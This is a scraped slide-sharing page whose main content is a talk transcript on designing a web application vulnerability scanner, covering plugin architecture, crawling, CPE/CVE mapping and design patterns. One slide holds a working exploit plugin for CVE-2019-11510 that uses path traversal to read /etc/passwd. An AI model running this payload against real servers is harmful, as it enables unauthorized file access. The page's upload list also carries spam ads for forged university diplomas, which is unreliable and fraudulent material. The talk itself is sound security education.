GOLDEN TICKET - Hiểm hoa tiềm ẩn trong hệ thống Active Directory
GOLDEN TICKET - Hiểm hoa tiềm ẩn trong hệ thống Active DirectoryGOLDEN TICKET - Hiểm hoa tiềm ẩn trong hệ thống Active Directory
GOLDEN TICKET - Hiểm hoa tiềm ẩn trong hệ thống Active Directory
Security Bootcamp
 
PHÂN TÍCH MỘT SỐ CUỘC TẤN CÔNG APT ĐIỂN HÌNH NHẮM VÀO VIỆT NAM 2017-2018
PHÂN TÍCH MỘT SỐ CUỘC TẤN CÔNG APT ĐIỂN HÌNH NHẮM VÀO VIỆT NAM 2017-2018PHÂN TÍCH MỘT SỐ CUỘC TẤN CÔNG APT ĐIỂN HÌNH NHẮM VÀO VIỆT NAM 2017-2018
PHÂN TÍCH MỘT SỐ CUỘC TẤN CÔNG APT ĐIỂN HÌNH NHẮM VÀO VIỆT NAM 2017-2018
Security Bootcamp
 
Api security-present
Api security-presentApi security-present
Api security-present
Security Bootcamp
 
Lannguyen-Detecting Cyber Attacks
Lannguyen-Detecting Cyber AttacksLannguyen-Detecting Cyber Attacks
Lannguyen-Detecting Cyber Attacks
Security Bootcamp
 
Letrungnghia-gopyluananm2018
Letrungnghia-gopyluananm2018Letrungnghia-gopyluananm2018
Letrungnghia-gopyluananm2018
Security Bootcamp
 
Cyber Attacks on Financial _ Vikjava
Cyber Attacks on Financial _ VikjavaCyber Attacks on Financial _ Vikjava
Cyber Attacks on Financial _ Vikjava
Security Bootcamp
 
Tran Minh Tri - Bao mat du lieu thoi ky [3.0]
Tran Minh Tri - Bao mat du lieu thoi ky [3.0]Tran Minh Tri - Bao mat du lieu thoi ky [3.0]
Tran Minh Tri - Bao mat du lieu thoi ky [3.0]
Security Bootcamp
 

More from Security Bootcamp (20)

Ransomware is Knocking your Door_Final.pdf
Ransomware is Knocking your Door_Final.pdfRansomware is Knocking your Door_Final.pdf
Ransomware is Knocking your Door_Final.pdf
 
Hieupc-The role of psychology in enhancing cybersecurity
Hieupc-The role of psychology in enhancing cybersecurityHieupc-The role of psychology in enhancing cybersecurity
Hieupc-The role of psychology in enhancing cybersecurity
 
Sbc 2020 bao gio vn co anm dua vao cong nghe mo
Sbc 2020 bao gio vn co anm dua vao cong nghe moSbc 2020 bao gio vn co anm dua vao cong nghe mo
Sbc 2020 bao gio vn co anm dua vao cong nghe mo
 
Deception change-the-game
Deception change-the-gameDeception change-the-game
Deception change-the-game
 
Giam sat thu dong thong tin an toan hang hai su dung sdr
Giam sat thu dong thong tin an toan hang hai su dung sdrGiam sat thu dong thong tin an toan hang hai su dung sdr
Giam sat thu dong thong tin an toan hang hai su dung sdr
 
Sbc2019 luong-cyber startup
Sbc2019 luong-cyber startupSbc2019 luong-cyber startup
Sbc2019 luong-cyber startup
 
Insider threat-what-us-do d-want
Insider threat-what-us-do d-wantInsider threat-what-us-do d-want
Insider threat-what-us-do d-want
 
Macro malware common techniques - public
Macro malware common techniques - publicMacro malware common techniques - public
Macro malware common techniques - public
 
Tim dieu moi trong nhung dieu cu
Tim dieu moi trong nhung dieu cuTim dieu moi trong nhung dieu cu
Tim dieu moi trong nhung dieu cu
 
Threat detection with 0 cost
Threat detection with 0 costThreat detection with 0 cost
Threat detection with 0 cost
 
Build SOC
Build SOC Build SOC
Build SOC
 
AD red vs blue
AD red vs blueAD red vs blue
AD red vs blue
 
Securitybox
SecurityboxSecuritybox
Securitybox
 
GOLDEN TICKET - Hiểm hoa tiềm ẩn trong hệ thống Active Directory
GOLDEN TICKET - Hiểm hoa tiềm ẩn trong hệ thống Active DirectoryGOLDEN TICKET - Hiểm hoa tiềm ẩn trong hệ thống Active Directory
GOLDEN TICKET - Hiểm hoa tiềm ẩn trong hệ thống Active Directory
 
PHÂN TÍCH MỘT SỐ CUỘC TẤN CÔNG APT ĐIỂN HÌNH NHẮM VÀO VIỆT NAM 2017-2018
PHÂN TÍCH MỘT SỐ CUỘC TẤN CÔNG APT ĐIỂN HÌNH NHẮM VÀO VIỆT NAM 2017-2018PHÂN TÍCH MỘT SỐ CUỘC TẤN CÔNG APT ĐIỂN HÌNH NHẮM VÀO VIỆT NAM 2017-2018
PHÂN TÍCH MỘT SỐ CUỘC TẤN CÔNG APT ĐIỂN HÌNH NHẮM VÀO VIỆT NAM 2017-2018
 
Api security-present
Api security-presentApi security-present
Api security-present
 
Lannguyen-Detecting Cyber Attacks
Lannguyen-Detecting Cyber AttacksLannguyen-Detecting Cyber Attacks
Lannguyen-Detecting Cyber Attacks
 
Letrungnghia-gopyluananm2018
Letrungnghia-gopyluananm2018Letrungnghia-gopyluananm2018
Letrungnghia-gopyluananm2018
 
Cyber Attacks on Financial _ Vikjava
Cyber Attacks on Financial _ VikjavaCyber Attacks on Financial _ Vikjava
Cyber Attacks on Financial _ Vikjava
 
Tran Minh Tri - Bao mat du lieu thoi ky [3.0]
Tran Minh Tri - Bao mat du lieu thoi ky [3.0]Tran Minh Tri - Bao mat du lieu thoi ky [3.0]
Tran Minh Tri - Bao mat du lieu thoi ky [3.0]
 

Recently uploaded

制作毕业证书(ANU毕业证)莫纳什大学毕业证成绩单官方原版办理
制作毕业证书(ANU毕业证)莫纳什大学毕业证成绩单官方原版办理制作毕业证书(ANU毕业证)莫纳什大学毕业证成绩单官方原版办理
制作毕业证书(ANU毕业证)莫纳什大学毕业证成绩单官方原版办理
cuobya
 
Design Thinking NETFLIX using all techniques.pptx
Design Thinking NETFLIX using all techniques.pptxDesign Thinking NETFLIX using all techniques.pptx
Design Thinking NETFLIX using all techniques.pptx
saathvikreddy2003
 
成绩单ps(UST毕业证)圣托马斯大学毕业证成绩单快速办理
成绩单ps(UST毕业证)圣托马斯大学毕业证成绩单快速办理成绩单ps(UST毕业证)圣托马斯大学毕业证成绩单快速办理
成绩单ps(UST毕业证)圣托马斯大学毕业证成绩单快速办理
ysasp1
 
留学挂科(UofM毕业证)明尼苏达大学毕业证成绩单复刻办理
留学挂科(UofM毕业证)明尼苏达大学毕业证成绩单复刻办理留学挂科(UofM毕业证)明尼苏达大学毕业证成绩单复刻办理
留学挂科(UofM毕业证)明尼苏达大学毕业证成绩单复刻办理
uehowe
 
办理新西兰奥克兰大学毕业证学位证书范本原版一模一样
办理新西兰奥克兰大学毕业证学位证书范本原版一模一样办理新西兰奥克兰大学毕业证学位证书范本原版一模一样
办理新西兰奥克兰大学毕业证学位证书范本原版一模一样
xjq03c34
 
Search Result Showing My Post is Now Buried
Search Result Showing My Post is Now BuriedSearch Result Showing My Post is Now Buried
Search Result Showing My Post is Now Buried
Trish Parr
 
国外证书(Lincoln毕业证)新西兰林肯大学毕业证成绩单不能毕业办理
国外证书(Lincoln毕业证)新西兰林肯大学毕业证成绩单不能毕业办理国外证书(Lincoln毕业证)新西兰林肯大学毕业证成绩单不能毕业办理
国外证书(Lincoln毕业证)新西兰林肯大学毕业证成绩单不能毕业办理
zoowe
 
不能毕业如何获得(USYD毕业证)悉尼大学毕业证成绩单一比一原版制作
不能毕业如何获得(USYD毕业证)悉尼大学毕业证成绩单一比一原版制作不能毕业如何获得(USYD毕业证)悉尼大学毕业证成绩单一比一原版制作
不能毕业如何获得(USYD毕业证)悉尼大学毕业证成绩单一比一原版制作
bseovas
 
Ready to Unlock the Power of Blockchain!
Ready to Unlock the Power of Blockchain!Ready to Unlock the Power of Blockchain!
Ready to Unlock the Power of Blockchain!
Toptal Tech
 
办理毕业证(NYU毕业证)纽约大学毕业证成绩单官方原版办理
办理毕业证(NYU毕业证)纽约大学毕业证成绩单官方原版办理办理毕业证(NYU毕业证)纽约大学毕业证成绩单官方原版办理
办理毕业证(NYU毕业证)纽约大学毕业证成绩单官方原版办理
uehowe
 
Discover the benefits of outsourcing SEO to India
Discover the benefits of outsourcing SEO to IndiaDiscover the benefits of outsourcing SEO to India
Discover the benefits of outsourcing SEO to India
davidjhones387
 
Should Repositories Participate in the Fediverse?
Should Repositories Participate in the Fediverse?Should Repositories Participate in the Fediverse?
Should Repositories Participate in the Fediverse?
Paul Walk
 
可查真实(Monash毕业证)西澳大学毕业证成绩单退学买
可查真实(Monash毕业证)西澳大学毕业证成绩单退学买可查真实(Monash毕业证)西澳大学毕业证成绩单退学买
可查真实(Monash毕业证)西澳大学毕业证成绩单退学买
cuobya
 
7 Best Cloud Hosting Services to Try Out in 2024
7 Best Cloud Hosting Services to Try Out in 20247 Best Cloud Hosting Services to Try Out in 2024
7 Best Cloud Hosting Services to Try Out in 2024
Danica Gill
 
办理毕业证(UPenn毕业证)宾夕法尼亚大学毕业证成绩单快速办理
办理毕业证(UPenn毕业证)宾夕法尼亚大学毕业证成绩单快速办理办理毕业证(UPenn毕业证)宾夕法尼亚大学毕业证成绩单快速办理
办理毕业证(UPenn毕业证)宾夕法尼亚大学毕业证成绩单快速办理
uehowe
 
假文凭国外(Adelaide毕业证)澳大利亚国立大学毕业证成绩单办理
假文凭国外(Adelaide毕业证)澳大利亚国立大学毕业证成绩单办理假文凭国外(Adelaide毕业证)澳大利亚国立大学毕业证成绩单办理
假文凭国外(Adelaide毕业证)澳大利亚国立大学毕业证成绩单办理
cuobya
 
manuaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaal
manuaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaalmanuaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaal
manuaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaal
wolfsoftcompanyco
 
Meet up Milano 14 _ Axpo Italia_ Migration from Mule3 (On-prem) to.pdf
Meet up Milano 14 _ Axpo Italia_ Migration from Mule3 (On-prem) to.pdfMeet up Milano 14 _ Axpo Italia_ Migration from Mule3 (On-prem) to.pdf
Meet up Milano 14 _ Axpo Italia_ Migration from Mule3 (On-prem) to.pdf
Florence Consulting
 
Azure EA Sponsorship - Customer Guide.pdf
Azure EA Sponsorship - Customer Guide.pdfAzure EA Sponsorship - Customer Guide.pdf
Azure EA Sponsorship - Customer Guide.pdf
AanSulistiyo
 
[HUN][hackersuli] Red Teaming alapok 2024
[HUN][hackersuli] Red Teaming alapok 2024[HUN][hackersuli] Red Teaming alapok 2024
[HUN][hackersuli] Red Teaming alapok 2024
hackersuli
 

Recently uploaded (20)

制作毕业证书(ANU毕业证)莫纳什大学毕业证成绩单官方原版办理
制作毕业证书(ANU毕业证)莫纳什大学毕业证成绩单官方原版办理制作毕业证书(ANU毕业证)莫纳什大学毕业证成绩单官方原版办理
制作毕业证书(ANU毕业证)莫纳什大学毕业证成绩单官方原版办理
 
Design Thinking NETFLIX using all techniques.pptx
Design Thinking NETFLIX using all techniques.pptxDesign Thinking NETFLIX using all techniques.pptx
Design Thinking NETFLIX using all techniques.pptx
 
成绩单ps(UST毕业证)圣托马斯大学毕业证成绩单快速办理
成绩单ps(UST毕业证)圣托马斯大学毕业证成绩单快速办理成绩单ps(UST毕业证)圣托马斯大学毕业证成绩单快速办理
成绩单ps(UST毕业证)圣托马斯大学毕业证成绩单快速办理
 
留学挂科(UofM毕业证)明尼苏达大学毕业证成绩单复刻办理
留学挂科(UofM毕业证)明尼苏达大学毕业证成绩单复刻办理留学挂科(UofM毕业证)明尼苏达大学毕业证成绩单复刻办理
留学挂科(UofM毕业证)明尼苏达大学毕业证成绩单复刻办理
 
办理新西兰奥克兰大学毕业证学位证书范本原版一模一样
办理新西兰奥克兰大学毕业证学位证书范本原版一模一样办理新西兰奥克兰大学毕业证学位证书范本原版一模一样
办理新西兰奥克兰大学毕业证学位证书范本原版一模一样
 
Search Result Showing My Post is Now Buried
Search Result Showing My Post is Now BuriedSearch Result Showing My Post is Now Buried
Search Result Showing My Post is Now Buried
 
国外证书(Lincoln毕业证)新西兰林肯大学毕业证成绩单不能毕业办理
国外证书(Lincoln毕业证)新西兰林肯大学毕业证成绩单不能毕业办理国外证书(Lincoln毕业证)新西兰林肯大学毕业证成绩单不能毕业办理
国外证书(Lincoln毕业证)新西兰林肯大学毕业证成绩单不能毕业办理
 
不能毕业如何获得(USYD毕业证)悉尼大学毕业证成绩单一比一原版制作
不能毕业如何获得(USYD毕业证)悉尼大学毕业证成绩单一比一原版制作不能毕业如何获得(USYD毕业证)悉尼大学毕业证成绩单一比一原版制作
不能毕业如何获得(USYD毕业证)悉尼大学毕业证成绩单一比一原版制作
 
Ready to Unlock the Power of Blockchain!
Ready to Unlock the Power of Blockchain!Ready to Unlock the Power of Blockchain!
Ready to Unlock the Power of Blockchain!
 
办理毕业证(NYU毕业证)纽约大学毕业证成绩单官方原版办理
办理毕业证(NYU毕业证)纽约大学毕业证成绩单官方原版办理办理毕业证(NYU毕业证)纽约大学毕业证成绩单官方原版办理
办理毕业证(NYU毕业证)纽约大学毕业证成绩单官方原版办理
 
Discover the benefits of outsourcing SEO to India
Discover the benefits of outsourcing SEO to IndiaDiscover the benefits of outsourcing SEO to India
Discover the benefits of outsourcing SEO to India
 
Should Repositories Participate in the Fediverse?
Should Repositories Participate in the Fediverse?Should Repositories Participate in the Fediverse?
Should Repositories Participate in the Fediverse?
 
可查真实(Monash毕业证)西澳大学毕业证成绩单退学买
可查真实(Monash毕业证)西澳大学毕业证成绩单退学买可查真实(Monash毕业证)西澳大学毕业证成绩单退学买
可查真实(Monash毕业证)西澳大学毕业证成绩单退学买
 
7 Best Cloud Hosting Services to Try Out in 2024
7 Best Cloud Hosting Services to Try Out in 20247 Best Cloud Hosting Services to Try Out in 2024
7 Best Cloud Hosting Services to Try Out in 2024
 
办理毕业证(UPenn毕业证)宾夕法尼亚大学毕业证成绩单快速办理
办理毕业证(UPenn毕业证)宾夕法尼亚大学毕业证成绩单快速办理办理毕业证(UPenn毕业证)宾夕法尼亚大学毕业证成绩单快速办理
办理毕业证(UPenn毕业证)宾夕法尼亚大学毕业证成绩单快速办理
 
假文凭国外(Adelaide毕业证)澳大利亚国立大学毕业证成绩单办理
假文凭国外(Adelaide毕业证)澳大利亚国立大学毕业证成绩单办理假文凭国外(Adelaide毕业证)澳大利亚国立大学毕业证成绩单办理
假文凭国外(Adelaide毕业证)澳大利亚国立大学毕业证成绩单办理
 
manuaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaal
manuaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaalmanuaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaal
manuaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaal
 
Meet up Milano 14 _ Axpo Italia_ Migration from Mule3 (On-prem) to.pdf
Meet up Milano 14 _ Axpo Italia_ Migration from Mule3 (On-prem) to.pdfMeet up Milano 14 _ Axpo Italia_ Migration from Mule3 (On-prem) to.pdf
Meet up Milano 14 _ Axpo Italia_ Migration from Mule3 (On-prem) to.pdf
 
Azure EA Sponsorship - Customer Guide.pdf
Azure EA Sponsorship - Customer Guide.pdfAzure EA Sponsorship - Customer Guide.pdf
Azure EA Sponsorship - Customer Guide.pdf
 
[HUN][hackersuli] Red Teaming alapok 2024
[HUN][hackersuli] Red Teaming alapok 2024[HUN][hackersuli] Red Teaming alapok 2024
[HUN][hackersuli] Red Teaming alapok 2024
 

Nguyen Huu Trung - Building a web vulnerability scanner - From a hacker’s view

  • 1. Trung Nguyen Building a high performance Web Application Vulnerability Scanner
  • 2. › @everping › Founder & CEO at CyStack › Security Researcher, Bug Hunter, Computer Engineer › Discovered critical vulnerabilities and acknowledged by Microsoft, IBM, D-LINK, HP, Delloite Whoami
  • 3. › What is a WAVS? › Why do we need WAVS? › Architecture and Design › Challenges Agenda
  • 4. What is a WAVS?
  • 5. Web Application Vulnerability Scanners are automated tools that scan web applications, normally from the outside, to look for security vulnerabilities such as Cross-site scripting, SQL Injection, Command Injection, Path Traversal and insecure server configuration
  • 6. Why do we need WAVS?
  • 7. › Discover attack surfaces (URLs, headers, open ports) › Gather information about the target (OS, Web frameworks, built-in technologies, sitemap) › Detect non-business logic vulnerabilities (SQLi, XSS, SSTi) › Detect misconfigurations For pentesters
  • 8. › Get similar advantages as pentesters get › See an overview of security risks in web applications › Integrate findings into vulnerability management › Save cost against basic security flaws For businesses
  • 9. Should we create our own WAVS?
  • 10. NO Except you do it due to educational purposes or clear commercial purposes
  • 11. › User doesn’t like the way scanner X implements a feature › User has free time › User starts writing his own scanner and usually succeeds in implementing the one feature he really needed › The new web application scanner only works on a small subset of sites, since it doesn’t know how to extract links other than the ones in tags, or can’t handle broken HTML, or is too slow to be used on any site with more than a few hundred pages. › The creator of the new tool maintains it for six months › The project dies when the project lead finds more interesting things to do, finds a tool that did what he needed, changes jobs, etc. The usual timeline
  • 12. It’s time to build
  • 13. Security testing in the wild Discovery Vulnerability Analysis Exploitation Follow the tactical exploitation
  • 14. Security testing in the wild Discovery Vulnerability Analysis Exploitation This is the process for discovering as much background information about the target as possible including, hosts, operating systems, topology, etc.
  • 15. Security testing in the wild Discovery Vulnerability Analysis Exploitation Vulnerability analysis is the process of discovering flaws in systems and applications which can be leveraged by an attacker.
  • 16. Security testing in the wild Discovery Vulnerability Analysis Exploitation The exploitation focuses solely on establishing access to a system or resource by bypassing security restrictions.
  • 17. › Scalability: Adding new vulnerability signatures easily › Stability: Taking up less RAM and CPU › Reliability: Finding vulnerabilities with low false positive Requirements
  • 19. Architecture Core Plugins Apply the plugin-based architecture Core › Manages the main flow › Coordinates the processes, threads › Provides APIs to resuse by plugins Plugins › Find flaws directly › Get data from the core › Share information gathered for other components/plugins via the core apis
  • 20. Plugins › Infrastructure: Gather all information about the target such as sitemap, headers, OS, web framework, etc. It runs in a loop which the output of one discovery plugin is sent as input to the next plugin › Subdomain: Find all sub-domains from the root domain › Audit: Take the output of discovery plugins and find vulnerabilities by fuzzing › Attack: Try to exploit by using confirmed finding from audit plugins › Other plugins: Output, mangle, evasion, grep, brute force
  • 23. Crawling and Fuzzing › The main component is a crawler › The crawler gets the seed URL and finds all possible URLs of the target Seed URL Requester Parse Document HTTP Response URL Queue The URL is not in the queue URL Pack The URL is in the queue? Fuzzable Request
  • 24. Crawling and Fuzzing Knowledge Base Pack Debugger Raw fuzz data Fuzzable Request Mutant
  • 25. Crawling and Fuzzing › Normally use for finding 0-day vulnerabilities or common vulnerabilities (SQLi, XSS, etc) › Complex to implement a new plugin › Take high rate of false positives
  • 26. CPE and CVE mapping › Detect the name and version of all possible technologies, frameworks of the target › Convert findings to CPEs (Common Platform Enumeration) strings › CPE is a structured naming scheme for information technology systems, software, and packages. › Find CVEs map with those CPEs cpe:2.3:o:linux:linux_kernel:2.6.0:*:*:*:*:*:*:* cpe:/o:linux:linux_kernel:2.6.0
  • 27. CPE and CVE mapping › Sometimes, converting name and version to CPE format is impossible › Building your own threat intelligence or vulnerability DB is required
  • 28. Public exploits tesing › As know as blind testing › Run known exploit code with your target. If the response matches the signature, the target is vulnerable › Detecting technologies is not really necessary
  • 29. Public exploits tesing › Normally use for finding 1-day vulnerabilities, CVEs, known and public exploits for specific applications or frameworks › Easy to implement a new plugin › Take low rate of false positives
  • 30. Public exploits tesing class Cve201911510(AttackPlugin): def __init__(self): super().__init__() self.path = '/dana-na' self.payload = self.generate_payload() def generate_payload(self, file_name=''): if file_name == '': file_name = '/etc/passwd' payload = f'/../dana/html5acc/guacamole/../../../../../../..{fil e_name}?/dana/html5acc/guacamole/' return payload def real_exploit(self, url): resp = self.requester.get(url + self.payload, path_as_is=True) if 'root:x:0' in resp.text: return True return False
  • 32. Program languages › The main language depends on the environment that the scanner is installed › If the scanner is distributed as a desktop app, it should be written in low-level language to protect against reverse engineering. Python is a bad choice. › If the scanner is delivered as a service, the language is not a problem › The core can be written in any program languages › The plugins should be written in scripting languages such as python, LUA, or even your own language for scalability
  • 33. Code design › Design pattern is very important if you’d like to scale up the scanner class CoreStrategy(object): def start(self): try: target = self._core.base_target if not target.is_valid(): logger.error('The target is not valid') return if target.get_type() == TYPE_URL: self.discover() self.attack() self.audit() else: self.discover() self.attack() except ScanMustStopException: logger.error('[!] The scan will be finished now') except: logger.error() Strategy Pattern
  • 34. Code design › Design pattern is very important if you’d like to scale up the scanner def real_exploit(self, url): """ This method MUST be implemented on every plugin. :param url: url to test whether it can be exploited or not :return: True if it is vulnerable. Otherwise, false. """ msg = 'Plugin is not implementing required method real_exploit' raise NotImplementException(msg) Abstract Pattern
  • 35. Code design › Design pattern is very important if you’d like to scale up the scanner def real_exploit(self, url): """ This method MUST be implemented on every plugin. :param url: url to test whether it can be exploited or not :return: True if it is vulnerable. Otherwise, false. """ msg = 'Plugin is not implementing required method real_exploit' raise NotImplementException(msg) Abstract Pattern
  • 36. Code design › Design pattern is very important if you’d like to scale up the scanner def factory(module_name, *args): """ This function creates an instance of a class that's inside a module with the same name. Example : >> cve_2015_4852 = factory( 'exploits.plugins.attack.cve_2015_4852' ) >> cve_2015_4852.get_name() >> 'CVE-2015-4852' :param module_name: Which plugin do you need? :return: An instance. """ Factory Pattern
  • 38. › The traditional crawler does not work with JS-based website or single page application (Angular, VueJS, React) Javascript crawling
  • 39. › Available solutions: Using headless browsers to render JS at the client side (Chronium, Firefox, PhantomJS, Splash, etc) › Cons: Those engines take up a lot of computer resources (RAM, CPU) and the rendering speed is slow Javascript crawling
  • 40. › Scanners normally take a lot of › I/O resources since performing many requests to outside › CPU since it has to be analyzed continuously › RAM since using multi-thread design or forgetting to free unnecessary memory High overhead
  • 41. › Solutions › Optimize your code › Should use low-level program languages High overhead
  • 43. https://blog.com/news/n1.html https://blog.com/news/n2.html https://blog.com/news/n3.html Similarity URLs Below URLs are similarity But a scanner can crawl all of them, which leads to an increase in the time scan
  • 44. › Many web applications handle requests not in the way we expect (e.g return status code 200 for not found pages) › Delay in connections › The web content includes vulnerability signatures False positives
  • 45. › Solution: Fix case by case False positives
  • 46. › Identify the appropriate form field (email, phone, name, city) › Authenticate the target › Crawl and fuzz APIs › Deal with business logic vulnerabilities Others